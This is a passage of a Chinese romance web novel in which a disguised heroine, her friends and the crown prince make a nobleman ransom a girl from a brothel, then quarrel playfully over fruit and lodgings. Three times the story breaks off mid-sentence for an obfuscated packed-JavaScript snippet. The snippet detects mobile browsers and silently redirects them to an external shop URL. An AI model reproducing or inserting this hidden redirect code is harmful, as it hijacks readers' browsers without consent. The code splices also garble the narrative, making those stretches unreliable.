老鸨给出的价对妇人一家来说简直就是天文数字,哪怕妇人一家劳作一辈子都换不来给女儿赎身的钱。 “一百两黄金?这老鸨怕不是疯了吧?这么贵谁赎得起?”乔天璇双眼都瞪大了。 花蕊也是吃了一惊,艰难地问道:“不知夫人的闺女芳名?” 妇人道:“叶天芯。” “叶天芯?这名字怎么感觉有点耳熟?”乔天璇莫名觉得自己方才好像在哪里听到有人提起过这个名字。 “是嘛?”妇人有些意外,但她似乎又想到了些什么,继续道:“听我儿子说,后来青楼的老鸨给我闺女起了个用来招待客人的花名,叫叶甜馨。” “叶天芯,叶甜馨?等等……叶甜馨!我方才听到的应该不是叶天芯,而是叶甜馨!”乔天璇当即转头望向了刚刚姜景和走过的地方。 “怎么了云天?”花蕊疑惑地看着乔天璇。 此时,姜景和已经走得无影无踪。 乔天璇慌忙看向了花蕊,极力镇定道:“刚刚那个左拥右抱的姜大公子说过他昨晚在青楼里睡的那个姑娘就叫叶甜馨。” “……” 陈渊龙的眉头不由得一皱,脸色有些不太好看。 “呜呜呜呜呜闺女啊……”妇人伤心的泪再次止不住地流了下来。 花蕊赶忙又将帕子递给了妇人来抹眼泪。 “不过这样一来,我倒是想到了一个你们不必交赎金,又能救你们闺女出青楼的办法。”乔天璇脑海中灵光一闪,兴奋地看向了妇人。 “什么办法?”妇人惊喜又期待。 乔天璇认真道:“琅琊姜氏家大业大,是个世家大族,不可能缺钱。一百两黄金对普通人来说或许辛苦劳作一辈子都赚不来,但对姜大公子来说根本算不得什么,只要能说服昨晚睡了你闺女的姜大公子去把你闺女用一百两黄金给赎出来,你闺女就能被救出青楼了。” 妇人听了乔天璇说的办法,冷静地思索了片刻,叹息道:“目前看来也只能这样做了。可我们该如何说服姜大公子?那姜大公子未娶妻便已先纳了两个娇妾,随身的丫鬟全都与他同过房,他还是青楼的常客,身边最不缺的就是美人,我闺女在他眼里值得让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025609|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花一百两黄金为其赎身吗?” “我可以……”乔天璇刚说三个字便突然停了下来。 她原本想说可以用自己与姜景和是同窗的身份来劝劝姜景和,但这样一来,她不就在陈渊龙面前暴露了自己的真实身份了吗? 她现在是洛天璇,不是乔天璇。要是让陈渊龙知道了自己就是乔天璇,那陈渊龙岂不就会更加过分地紧贴着自己了? 毕竟陈渊龙可是明确说过他这一趟出来就是为了找到乔天璇这个人,好娶乔天璇这个人为他的太子妃啊! “没事,我们可以先试着去劝劝姜大公子,劝不了再想别的办法。”花蕊试探着提建议,她其实对自己所说的话心里并没有底。 妇人大概是太想救自己的女儿了,已经有了拼死一试的想法。在听到花蕊说的话后,她的眼神愈发坚定,同时也艰难地点了点头,道:“行,那就先试着去劝劝姜大公子吧。我知道姜府在哪儿,我带路。” “好,请。”花蕊对妇人做了个“请”的手势。 于是,乔天璇一行人跟在了妇人的身后,开始前往琅琊姜氏的府邸。 行了不多时,花蕊突然道:“夫人,你怎么不在家里,而是在街上哭啊?” 妇人一愣,垂头望地道:“我夫君和儿子在家里因为女儿的事情吵架、打架,我实在是受不了了,就跑出来了。我漫无目的地在街上游走,越想越伤心,就忍不住落了泪。” “哦……对不起。”花蕊自知问到了妇人的痛处,当即抬起一只手捂住了自己的嘴。 “安心吃糖人吧。”祝源把花蕊拿着的糖人的那只手移到了花蕊的嘴边。 “知道啦。”花蕊放下了捂嘴的手,像是做错了一件事后赶忙去做另一件事来掩盖自己所做的错事那般专心舔起了糖人。 乔天璇看了看自己左右两只手中的糖人,回想起了之前买糖人的时候发生的事情,她便左舔一口陈渊龙买给自己糖人,右舔一口洛侠买给自己的糖人,这样两个人都不会得罪。 果然,乔天璇明显感觉到陈渊龙和洛侠都在注意舔着糖人的自己。但由于自己“雨露均沾”,这两人表现得还算心平气和。 柳叶镇十分繁华,只是去年三侠行客追盗取镇玉的人时乔天璇没有时间和心情在此地好好逛上一逛,所以当时的乔天璇并没有觉得柳叶镇有什么特别之处。现在有妇人在前面带路,乔天璇只需要跟着妇人走就好,轻松了许多,此时的她再看这柳叶镇便发现这镇子上时不时就能见到身着一袭轻薄衣衫的漂亮妓女在路边揽客。 这些漂亮妓女勾引客人的动作非常娴熟迅速,甚至就在刚刚,乔天璇便亲眼见到一个男子路过一个妓女,互相看对眼了,妓女就直接拉着男子走进了她和客人办事的屋子中。从乔天璇在不远处望见那个场景,再到乔天璇经过那个场景,整个过程不到五息,快得惊人。 由此,乔天璇对姜景和为何会变成如今这副浪荡公子模样也有了一些大概的猜测。 都说近朱者赤近墨者黑,家在这样的一个地方,姜景和在经过耳濡目染之后想要出淤泥而不染怕是会极其困难。更何况姜景和可是世家大公子,定然不会缺倒贴往她身上靠的女子。如若他的意志不能像磐石般坚定,不需多少时日他便会沉沦其中了。 走着走着,妇人忽然一停。 乔天璇也明白妇人为何会停。 只见左拥右抱,随身跟着十个丫鬟的姜景和就在前方走着。 想必是因为姜景和走得太慢,而乔天璇一行人走得太快,所以姜景和还未回到姜府,乔天璇一行人就已经追到了姜景和的身后。 “我们一起上前去劝劝姜大公子吧?”花蕊看了看身旁的所有人。 “好。”陈渊龙倒是第一个答应了花蕊说的话。 随即,陈渊龙打头阵,阴沉着脸快步赶向了前方走得慢慢悠悠的姜景和。 乔天璇能明显感觉得到陈渊龙的内心已经暴怒了。 她赶忙跟到了陈渊龙的身后,想看看陈渊龙到底会怎么让姜景和给叶天芯花一百两黄金从青楼中赎身。 35. 琅琊姜氏(三) “姜大公子,好久不见。”陈渊龙冰冷的声音从一旁飘入姜景和的耳中。 正沉迷于美色,眼神迷糊的姜景和顿时清醒过来,瞳孔骤然一缩。猛地转头看向了身旁说话的人,不可思议道:“你是……太子殿下?!” 陈渊龙走到姜景和身前站定,令姜景和不得不停下了脚步。 行人听到了“太子殿下”四个字,都不由得猛然转头看向了陈渊龙。 妇人登时一愣,看着陈渊龙的双眼都瞪大了不少。 姜景和左右怀中的两个美艳女子也是一惊,她们直直盯着陈渊龙,跟姜景和撒娇的姿势像是被瞬间定格住了一样。 乔天璇心中暗道不好。 若是太子突然出现在大众范围内,保不齐会惹来暗杀或是其它什么不好的事情。 一般来说,皇族之人出宫之后为了避免因皇族身份而引出的不必要的麻烦,通常会把自己扮成平民,名字也会起个假的。 陈渊龙走近了姜景和,阴沉着脸,用一种令人不容抗拒的语气道:“叫我雏浅凤。” “……” “雏、雏浅凤?”姜景和艰难别扭地说出了这个名字。 乔天璇看着陈渊龙的背影,听着他给自己起的假名,差点没憋住笑。 他是怎么想到给自己起这样一个假名的? 雏浅凤,雏与“除”同音,陈与“乘”同音,浅滩对应深渊,龙对应凤,“雏浅凤”岂不就是“陈渊龙”的“反义词”? “没错,雏浅凤。”陈渊龙一本正经地点了点头。 “……好,雏、雏浅凤,雏浅凤,雏兄!不知雏兄找我所谓何事?”姜景和大概也猜到了陈渊龙的用意,他松了左右搂着美艳女子的双手,对着陈渊龙拱手行礼。 陈渊龙道:“我可否携友人一同去你府上一叙?” “自然可以!太……雏兄的要求我怎敢不答应?我现在就为雏兄带路!”姜景和紧张地赔笑,挥手示意方才靠在他左右怀中的美艳女子赶紧退到自己身后去。 两个美艳女子也十分识趣,都默默低着头退到了姜景和的身后。 “有劳。”陈渊龙依旧语气冰冷。他不再站在姜景和的身前,转身走到了姜景和的身旁。 姜景和慌忙道:“哪里哪里,为雏兄带路可是我的荣幸啊!” 虽说是带路,但姜景和可不敢走到陈渊龙的前面去。 姜景和与陈渊龙并肩走着,他扫了一眼陈渊龙身后跟着的乔天璇、花蕊、洛侠、祝源、妇人,许是觉得能一路陪着陈渊龙的人肯定也不简单,便对着五人友好地笑了笑。 随后,姜景和边带路边继续对陈渊龙说好话,不但夸赞陈渊龙许久未见气色又好了不少,还给陈渊龙介绍起了这会儿经过的街道两边都有哪些店卖的东西好,哪些店卖的东西有意思。 妇人惊魂未定,却又不敢多问,只能紧跟在几人身后,走路的腿脚都有些发抖了。 行人看到姜景和有说有笑地带着“雏浅凤”一起走,虽然有些疑惑方才姜景和为何会称呼“雏浅凤”这个人为太子殿下,但大概想到这或许就是姜大公子与朋友之间不知死活的情趣,便赶紧不再看这两人,急匆匆地继续走自己的路。 乔天璇见姜景和并没有认出自己来,安心了不少。 看来自己给太子伴读时的女扮男装还是很成功的,再加上多年不见,现在的自己在姜景和眼里估计就是个陌生人。 一刻钟后,众人来到了姜府。 姜府大得夸张,富得流油,府中随处可见长廊、亭台楼阁、小桥流水,以及行色匆匆的丫鬟和小厮。 众人在到达了招待客人的前堂之后,乔天璇见堂中的椅子上全都镶了金,桌上盘子中摆着用来招待客人的果子又多又大颜色还鲜亮,一看就知道十分新鲜。 “太子殿下,现在我们不在大街上,我可以不用‘雏浅凤’来称呼您了吧?”姜景和伴在陈渊龙的身旁,脸上的笑意很深。 “嗯,唤我太子殿下。”陈渊龙从怀中掏出了太子令牌在手中不紧不慢地摩挲着。 妇人再次愣住,这回她不光是腿脚有些发抖了,她整个人都情不自禁发起了抖。 “不知太子殿下有何吩咐?”姜景和看到了陈渊龙手中摩挲着的太子令牌,不禁浑身一激灵。 “没事,不用怕,太子殿下人挺好的。”花蕊凑在妇人耳边悄声安慰她。 听到花蕊这样说,妇人僵硬地点了点头,身子稍微没有那么抖了。 陈渊龙对姜景和开门见山道:“我听说姜大公子昨晚在青楼睡了一个花名叫叶甜馨的女子。” 姜景和神色一怔,连忙点头道:“太子殿下消息灵通,我昨晚的确是睡了那个青楼女子。” 陈渊龙阴沉着脸,一把将手中的太子令牌伸到了姜景和面前,严肃道:“我以当朝太子的身份命令你,今日之内必须将你昨晚在青楼睡的叶姑娘给赎出来。” “啊?”姜景和万万没想到陈渊龙居然会对自己提这样的要求。 他在听到陈渊龙提到叶甜馨这个青楼女子时还以为是陈渊龙也想要去睡她,脑子都已经盘算上了如何跟陈渊龙诉说叶甜馨昨晚有多扫他的兴,好让陈渊龙换一个不会扫人兴的姑娘。 “怎么?做不到?”陈渊龙虽是在质问姜景和,但在姜景和听来,陈渊龙这句质问就跟在和他说“抗令,你自杀”一样。 姜景和慌忙道:“是!没问题!我现在就去青楼把叶甜馨赎出来!” 陈渊龙缓缓收回了太子令牌,淡淡道:“青楼老鸨要价一百两黄金,去让人准备吧。” “是!”姜景和连忙转头对他的小厮道:“马上去让人准备一百两黄金!去青楼赎叶甜馨!” “是……是!”小厮许是也被突然大驾光临的当朝太子吓得不轻,赶紧转身快跑去让人准备黄金了。 “那你呢?”陈渊龙仍旧冷漠地盯着姜景和。 “我?”姜景和不知陈渊龙所为何意,伸手指了指自己,一脸困惑。 陈渊龙道:“姜府这么大,肯定不缺给叶姑娘准备的房间吧?” 姜景和道:“当然不会缺!” 陈渊龙道:“你带人一起去给叶姑娘准备房间和抬她回来的轿子,我们会在这儿一直等着你将叶姑娘从青楼赎回来。” “是!”姜景和丝毫不敢违抗太子殿下的话,连忙带着一个护卫,两个小妾,一众丫鬟去按陈渊龙说的去办了。 随在姜景和身旁的人多,姜景和一走,整个前堂都空旷了不少。 妇人神情复杂地看着陈渊龙,忽然对着他“扑通”一声跪了下来。 听到动静,陈渊龙转头望去,看到妇人对自己下跪,连忙走到妇人跟前将其扶起,道:“夫人这是作甚?” 妇人激动道:“多谢太子殿下!多谢太子殿下!我家小女能得太子殿下搭救,实在是无以为报啊……” 陈渊龙道:“无妨,这姜大公子幼时与我有同窗之谊。同窗之间互相帮助乃是常事,他没学好,我不过是对他提点一二罢了。” “多谢太子殿下!多谢太子殿下!多谢太子殿下!”妇人依旧满眼感激之情,拼命对陈渊龙道谢,搞得陈渊龙一时半会儿有些不知所措。 乔天璇看着眼前的陈渊龙,心中对他的印象倒是稍微好了一些。 就凭陈渊龙刚刚说的那番话,姜景和便不敢轻易怠慢叶甜馨了。 而叶甜馨若是被纳入了姜家,就算姜景和不宠她,以琅琊姜氏的财力,她也能过上衣食无忧的生活,一辈子都不需要去辛苦劳作了。 “好好吃啊!”花蕊已经拿起了桌上的一个山竹掰开吃了起来。 “好甜!”祝源也拿起了一个山竹,学着花蕊的吃法吃了起来。 乔天璇见花蕊和祝源都吃得双眼发亮,她也摸起一个山竹掰了开来尝了尝。 一瞬间,乔天璇感觉自己像是吃到了入口即化的冰酥,而山竹又比冰酥要有嚼头,口感实在是美妙至极。 “不愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025610|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是世家府邸里的果子,真是美味!”乔天璇连忙扒下其中一片果肉递向了洛侠,欢喜道:“师父,尝尝,好吃!” 洛侠弯下腰,一口接住了乔天璇投到他嘴里的山竹果肉,尝了尝后赞同地点头道:“的确好吃。” 见状,陈渊龙冷着脸走到了乔天璇的身旁。 可乔天璇张开大口把手中剩下的山竹果肉一口气全吃了,一片也没给陈渊龙留。 她对陈渊龙的印象稍微好一点了和她会把自己掰开的山竹果肉分一些给陈渊龙吃对她来说是完完全全的两码事。 想吃啊?那自己去掰一个吃吧。 乔天璇又摸了一个山竹掰开,自顾自吃着。 这次,她既没有把山竹果肉分给洛侠,也没有把山竹果肉分给花蕊,那就更别说分给陈渊龙了。 陈渊龙默默地看着独自吃着山竹的乔天璇,乔天璇则看着另一边把自己掰开的山竹果肉给分了花蕊吃的祝源。 “徒儿。” 乔天璇听到洛侠唤自己,连忙转头看向了洛侠。 洛侠手中也掰开了一个山竹,他把其中一片山竹拿在手中,像是想要喂给谁似的。 乔天璇心领神会,对着洛侠张大了嘴巴。 洛侠浅浅笑着,把手中的那片山竹果肉放入了乔天璇的口中。 霎时间,乔天璇能明显感觉得到陈渊龙的双拳都握紧了。 至于为什么能感觉得到,自然是因为她听到了陈渊龙握紧双拳时手指与手心摩擦后发出的声音。 在咽下洛侠喂给自己的山竹果肉后,乔天璇余光瞟见陈渊龙也从桌子上摸了一个山竹掰开。 但由于陈渊龙身为太子殿下,自幼就是别人伺候他,他哪儿亲自掰过山竹? 陈渊龙强行掰着,就跟刚刚第一次掰山竹的祝源那样,手法看着让人想笑。只不过祝源掰得小心翼翼,而陈渊龙则是带着气愤的心情在掰的。 好不容易把山竹给掰开了,陈渊龙取出一片尝了一口,觉得好吃,便将剩下的全都剥了出来递给了乔天璇,心虚道:“给你。” 这一幕让妇人看得都傻了。 太子殿下居然在给一个刚刚才吃了另一个男子喂了她食物的女子吃东西?而且太子殿下还是亲手把那食物的外壳给掰开的?等等……太子殿下这是在和另一个男子争着喂一个女子?那这女子到底是何来头啊?! 不吃白不吃,乔天璇一把拿起陈渊龙递给自己的山竹果肉,道了声“多谢太子殿下”后就将这白花花水灵灵的一大块全都含入了口中。 顿时,陈渊龙的脸色似乎都没有方才那么阴沉了。 “好甜,好吃好吃。”乔天璇吃得美滋滋,吃完后不忘吐出山竹骨。 有人给自己把食物去壳,还把食物喂给自己的感觉真好! 看到乔天璇满意的表情,陈渊龙又继续掰起了山竹。 当然,洛侠也不甘落后,他立马抓了一把阿月浑子[1]掰了起来。 一颗阿月浑子只需掰一下子就能被掰开,比起山竹要好掰多了。 “徒儿。” 听到洛侠唤自己的声音,乔天璇连忙对着洛侠张大了嘴巴。 下一刻,好几颗被掰好了的阿月浑子便齐齐落入乔天璇的口中。 而此时,陈渊龙手中的山竹也已经掰好,他正准备一片一片喂给乔天璇。 就这样,陈渊龙和洛侠就跟互相较上了劲似的,两个人不停地给乔天璇剥果皮,轮番喂她吃东西,看得一旁的妇人目瞪口呆。 约莫过了两个时辰,前堂中早已吃累了之后瘫在镶金的椅子上休息的几人忽然听到宅子外传来了热闹的动静。 花蕊猛地弹起了身,惊道:“赎回来了!” 妇人眼前一亮,一下子从椅子上站了起来。 乔天璇也心中好奇,当即便往声音传来的方向跨步跑去。 毫无疑问,乔天璇这一去,陈渊龙和洛侠赶紧从椅子上起身跟上了她,仿佛是两条甩不掉的尾巴。 36. 琅琊姜氏(四) 也不知是因为身价一百两黄金的女子实在是金贵,还是姜景和不想得罪太子殿下,他竟是让人将叶天芯八抬大轿抬回了姜府。 这轿子后面跟了一队伍吹喇叭的人,似极了娶妻的架势,却又比不上真正娶妻时的阵仗,略显简陋仓促。 不过能顺利将叶天芯从青楼中赎出来便已经是大喜事了,其余的暂时都不重要。 “干得不错,太子殿下,你可真是个大好人。”乔天璇看着眼前被八个人抬着缓缓前往姜府中一处房间的轿子,心想叶天芯这下子总算是彻底离开青楼了。 “没错!不仅太子殿下是大好人,云天也是绝顶聪明,想到让姜大公子来出这一百两黄金的赎金赎叶姑娘出青楼,我们一分钱都不用花。”花蕊满脸窃喜,兴奋地搂住了乔天璇。 “那可不!”乔天璇骄傲地扬起了下巴,轻轻摸了摸花蕊的头。 姜景和带着他的小厮和护卫走在轿子最前面,对陈渊龙满脸堆笑道:“太子殿下,我已经吩咐了府中所有的厨子去做迎喜的晚宴了,不知太子殿下可否赏脸参加晚宴?” 陈渊龙道:“自然参加,他们也要一同参加。” 说完,陈渊龙看向了身旁几人。 姜景和毫不犹豫道:“如此甚好。” 陈渊龙走到了妇人身旁,介绍道:“这位便是叶姑娘的母亲。” 姜景和顿时一惊。 他万万没想到那个扫了自己的兴,却因为太子殿下的命令,自己不得不花重金从青楼中赎回来的女子的母亲居然一直都在太子殿下身边! “那从今往后我们就是一家人了。”姜景和碍于陈渊龙的面子,只得硬着头皮温和地对妇人笑脸相迎。 “好、好!”妇人慌忙答应。 姜景和对着妇人点了点头,一脸随和。 没办法,姜景和虽然觉得这妇人看起来平平无奇,但又实在不明白她为何能与太子殿下走在一起,心中对此越想就越感到不安,不禁怀疑这妇人的来头肯定不小,说不定其实是什么不得了的厉害人物,只不过她太过擅长伪装,以此来让旁人放松警惕。人不可貌相,万万不可得罪了。 陈渊龙道:“走,我们一起送叶姑娘。” 姜景和连忙道:“好,劳驾太子殿下了。” 妇人的目光几乎不离轿子。 见状,乔天璇其实有些心酸。 在妇人眼中,自己的女儿被坏人拐卖进青楼中后便再未与自己见过面,待到女儿好不容易被人花重金从青楼中赎出,却连一面都还未见便又成了赎她出青楼的人的妾,坐在轿子中,母女两两不相见。 乔天璇几人跟在轿子旁,与队伍一齐慢慢往前走着,一路来到了姜景和为叶天芯准备的房间外。 此时,负责伺候叶天芯的丫鬟已经被姜景和选好后安排在了房间外候着。 见到轿子来了,丫鬟眼中露出了期待的光。 待轿子来到了房间门口时,领头的轿夫道:“落轿!” 轿子立马停住,被稳稳放落在了地上。 早已守候多时的丫鬟连忙来到轿子前把叶天芯给迎了下来。 叶天芯估计是从青楼里离开得急,头上的发髻有些凌乱。但她相貌甜美,今日又身着一袭浅粉色的衣裙,头上发髻的凌乱倒是显得她更加俏皮了。 妇人终于见到了自己的女儿,当即又惊又喜。 叶天芯方才定然也听到了自己母亲在外面与姜景和的对话,她下意识往妇人这边望来,顿时双眼都睁大了不少。 可是按照姜家的规矩,叶天芯既是被赎回来的妾,那她在被接到姜家之后就必须得第一时间去到自己的房间中呆着,一直到次日上午才能出房门。期间除了赎她的人和伺候她的丫鬟,她不能与任何人说一句话。 陈渊龙道:“可否先让她们母女俩说说话?” 姜景和毫不犹豫道:“当然可以了!” 叶天芯一愣,随即大喜过望,连忙奔向了自己的母亲。 妇人也情不自禁向女儿迈步,眼眶泛红。 “娘!”叶天芯一把抱住自己的母亲,泪水止不住地溢出眼眶。 “闺女啊,你没事就好,没事就好。”妇人轻轻拍着叶天芯的后背,虽然有些无奈,但女儿失而复得的喜悦还是占据了她大半的情绪。 “呜呜呜呜呜娘……”叶天芯埋头在母亲的脖颈,越哭越伤心。 妇人安慰道:“好了闺女,你现在入了世家大族了,以后就能少受许多苦,娘也能安心了。” 听到母亲说的这句话,叶天芯似是回想起了什么事情,她的眼泪慢慢止住,眼底泛起了一丝惆怅。 母女俩抱了好一会儿,叶天芯才主动松开了自己的母亲。 “娘,你保重。”叶天芯不舍地看着母亲。她的眼尾在哭过之后红彤彤的。 “你也要保重。”妇人担忧地看着叶天芯。 叶天芯望向了姜景和,眼神有些疑惑。 但姜景和许是想到太子殿下就在自己身旁,自己现在必须得做些什么或者说些什么才行。他赶紧走到了叶天芯身前,柔声道:“馨儿,快进屋里去吧。” “哦……是!”叶天芯看着姜景和温柔的表情,像是突然看到了什么不可思议的东西一样,脸都被吓僵了。她赶忙答应,后退几步便转身往房间快步走去。 负责伺候叶天芯的丫鬟紧随叶天芯身后,在叶天芯走进房间里后就立马关上了房门。 “那个……不知太子殿下今晚参加完晚宴之后在姜府留宿吗?”姜景和小心翼翼地问着。 陈渊龙转头看向了乔天璇。 乔天璇不知陈渊龙为何突然要看自己,她挪步往旁边走了走,想要避开陈渊龙向自己投来的目光。 可无论自己是往左边挪还是往右边挪都躲不开陈渊龙那如影随形一般紧跟着自己的目光。 “怎么了?”乔天璇实在是不想再被陈渊龙的目光追着了。 陈渊龙道:“你觉得呢?” “我觉得什么?”乔天璇被陈渊龙问得一头雾水。 陈渊龙道:“你今晚想在姜府留宿吗?” “我今晚……”乔天璇忽然想到若是不住姜府的话,就得在外面花钱住客栈了,立即道:“留!留宿!” 陈渊龙的目光终于离开了乔天璇,看向了姜景和,道:“我们今晚在姜府留宿。” 此话一出,姜景和看乔天璇的眼神都变得敬重了起来。 在姜景和的心中,能让太子殿下主动顺着一个女子的心意来行事,那这个女子毫无疑问就是太子殿下看上的人了,而且还是个对太子殿下来说十分重要的人! “那我现在就带你们去客房!”姜景和立马带路,并对抬轿子的轿夫们和吹喇叭的一队伍人道:“你们去休息吧!” “是!”抬轿子的轿夫们和吹喇叭的一队伍人齐声答应着,带齐各自的东西全都撤了。 顿时,这处院子变得空空荡荡。 乔天璇在走出这处院子的大门时忍不住回头望了一眼。 这院子说大不大,说小不小,一看就是个给小妾住的地方。 而就在乔天璇回望之时,她看到妇人也在回望。 想必她已经在想念自己的女儿了吧? 乔天璇转回了头,暗暗叹了一口气。 若是当时没有那个拐卖叶天芯的人贩子,叶天芯也不会被迫成为姜景和的妾。 想着想着,乔天璇心中忍不住暗骂了拐卖叶天芯的人贩子两句。 待姜景和带着乔天璇几人来到了客房后,琅琊姜氏的富贵着实是让乔天璇开了眼。 姜府的客房居然足足有八间! 加上妇人,现在乔天璇一行人一共有六人,就算一个人单独住一间客房,也还能剩下两间客房。 这些客房呈“口”字形环绕着,每一边的走廊后都排列着两间房,中间的空地种着几棵围着一座亭子的矮树。 姜景和带着陈渊龙走到入了这处院子中后往右的第一间房前,道:“这间房在这个院子中的位置是最好的,太子殿下要不就住这间房吧?” 陈渊龙又转头看向了乔天璇。 乔天璇当即躲到了洛侠的身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025611|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子飞速思索着。 看来陈渊龙是想让她来住这间位置最好的房! 如此一来,陈渊龙本人定然就会住在紧挨着这间房的隔壁那间房了! 一想到自己独自一人住一间房,隔壁就是冷如冰山,偏执至极的太子殿下,乔天璇心中就觉得害怕极了。 谁知道他会不会大晚上的隔着墙壁偷听自己这边的声音啊?! 而且自己若是住在陈渊龙的隔壁,那陈渊龙大半夜的要是想来窗边偷看自己,岂不就是走几步路的事情? 不行不行不行!自己绝对不能住在陈渊龙隔壁的房间! 至少也得跟他隔着一间房才行! 乔天璇忽然想到自己光是躲避怕是仍旧无法逃脱被陈渊龙指认住进这间位置最好的房间的结果,只能先下手为强,先一步挑好自己想要住的房间,而且还得让自己两边的房间都有人住才行。 这样一来,陈渊龙就没法住在自己的隔壁了! 乔天璇赶忙一手拉着洛侠,一手拉着花蕊,拔腿就往相反的方向跑去,一路来到了距离院门口最远的房间前,大喊道:“我住这间!师父住我左边那间!玉心住我右边那间!” 洛侠道:“好。” 花蕊道:“没问题!” “那我住这间!”祝源赶了上来,指着花蕊隔壁的另一间房。 “书呆子晚上不许读书,吵死了。”花蕊嫌弃地对着祝源吐了吐舌头。 “不读不读,晚上读书本就费灯烛。”祝源对着花蕊讨好地笑了笑。 花蕊没再挤兑祝源,只是对着祝源高傲地“哼哼”了两声,大发慈悲地准了祝源能与自己住在同一排挨着的房间了。 乔天璇朝着面前的房间走去,跨过房前的走廊,一把推开了房门,见房内的东西都很齐全,榻也不小,躺两个人完全没问题。 “不错,看着是能睡个好觉的地方。”洛侠与乔天璇住在同一排挨着的房间,他也推开房门看了看里面。 乔天璇走进房间里转了一圈,来到了朝着院子的那扇窗户前,见陈渊龙还站在原地望着自己。 陈渊龙身旁的姜景和神色紧张到了极点,乔天璇能明显看得出姜景和的不安。 可乔天璇才不管这些,她打开窗户,对着外面大喊了一声:“我困了,先睡一觉!” 旁边房间门前的洛侠转头对乔天璇道:“睡吧。” “那快要到晚宴的时间了师父来喊我起床。”乔天璇探头看向了外面的洛侠。 洛侠道:“好,安心睡吧。” 乔天璇“嘿嘿”一笑,先是转身去关了房门,随后来到榻前摆个了“大”字往后躺了下来。 她其实并不困,只是不想面对陈渊龙而已。 也不知陈渊龙现在心里在想些什么。 乔天璇闭上了双眼,打算闭目养神。 许久之后,乔天璇被一阵叩门声吵醒。 “起床了,快要到晚宴的时间了。”洛侠的声音随之传来。 乔天璇猛然睁眼,发现自己居然在不知不觉中睡着了过去。 “起了!”她立马起身去打开了房门。 这会儿天已经黑了,月光从窗户洒落进房间,让房间里不至于漆黑一片。 洛侠站在门外,手里还提着一个灯笼。 见乔天璇看向了他手里的灯笼,洛侠解释道:“这是太子殿下让姜大公子派人拿给我的灯笼,他说怕你被我叫醒起床之后由于天黑看不见路。” “这样啊……”乔天璇好奇陈渊龙居然没有生气不管自己了,反而还如此关心自己。 洛侠道:“走吧徒儿,去参加晚宴。” “好!”乔天璇关上了房门,正准备和洛侠一起走,却突然发现陈渊龙此时正靠在院子中间那座亭子的一根柱子上,双手交叉抱着双臂偏着头看着自己。 月光下,陈渊龙那双黑眸中的高光被他的眼睫遮了一半。 乔天璇心中登时一惊。 陈渊龙这人难不成在自己睡觉的时候就一直靠在院子中间那座亭子的一根柱子上往自己这边看吗?! 37. 琅琊姜氏(五) “云天!”花蕊这会儿也往自己这边赶了过来。 “阿蕊,天黑,小心脚下的路!”祝源追在花蕊身后。 乔天璇连忙看向了花蕊,故作兴奋道:“玉心!” 现在天黑,乔天璇心想自己若是装作由于太黑没能看到陈渊龙的样子,那就可以理所当然地无视陈渊龙了。再加上花蕊来了,那正好可以让自己的目光全都被花蕊占据。 毕竟花蕊是自己最好的朋友,自己的目光全都在自己最好的朋友身上再正常不过了。 “走!我们一起去参加晚宴吧!”乔天璇一把揽起跑到了自己身旁的花蕊。 “好!”花蕊也往乔天璇身上靠了靠。 “对了,叶天芯的母亲呢?”乔天璇转头看向了洛侠。 洛侠道:“叶姑娘的母亲已经先一步被姜大公子派人请去晚宴了。” “哦……”乔天璇点了点头,目光不是落在花蕊的身上就是落在洛侠的身上,就算是落在祝源的身上也绝对不会落在陈渊龙的身上。 她就这么无视着亭子那儿的陈渊龙走出了院子,跟着洛侠一路来到了办晚宴的地方,丝毫不理会一直默默走在四人身后不远处的陈渊龙。 由于不是娶妻,只是纳妾,而且还是从青楼赎回来的女子,这场晚宴姜景和只邀请了乔天璇一行人、叶天芯的母亲,以及自己的两个小妾而已,连姜景和的父母都没来参加,更别说姜家别的亲人了。由此也不难看出姜家并不在乎姜景和纳妾一事,或者说根本就不重视。 实际上,若不是陈渊龙这个太子殿下来了,姜景和怕是根本就不会办这么个纳妾的晚宴。他办这个晚宴的真正目的其实就是为了讨好太子陈渊龙,而并非是因为重视叶天芯。 一个正在门口旁忙活的小厮见到乔天璇一行人来了,立马快步上前道:“你们四位便是太子殿下的友人了吧?” 洛侠道:“对。” “请随我落座。”小厮连忙给四人带路。 此时,乔天璇见到叶天芯的母亲已经落座了。她那处的位置比较靠近主席位,且只有她的一张桌案。再往旁边一点的地方是姜景和那两个小妾的位置。 四人随着小厮来到了靠近主席位的一处坐了下来。隔着中间的走道,正好正对着叶天芯母亲落座的位置。 这处位置安排了一前一后两排桌案,每排设有两张桌案。 为了尽量避免与陈渊龙对视,乔天璇当机立断坐在了后排的桌案。 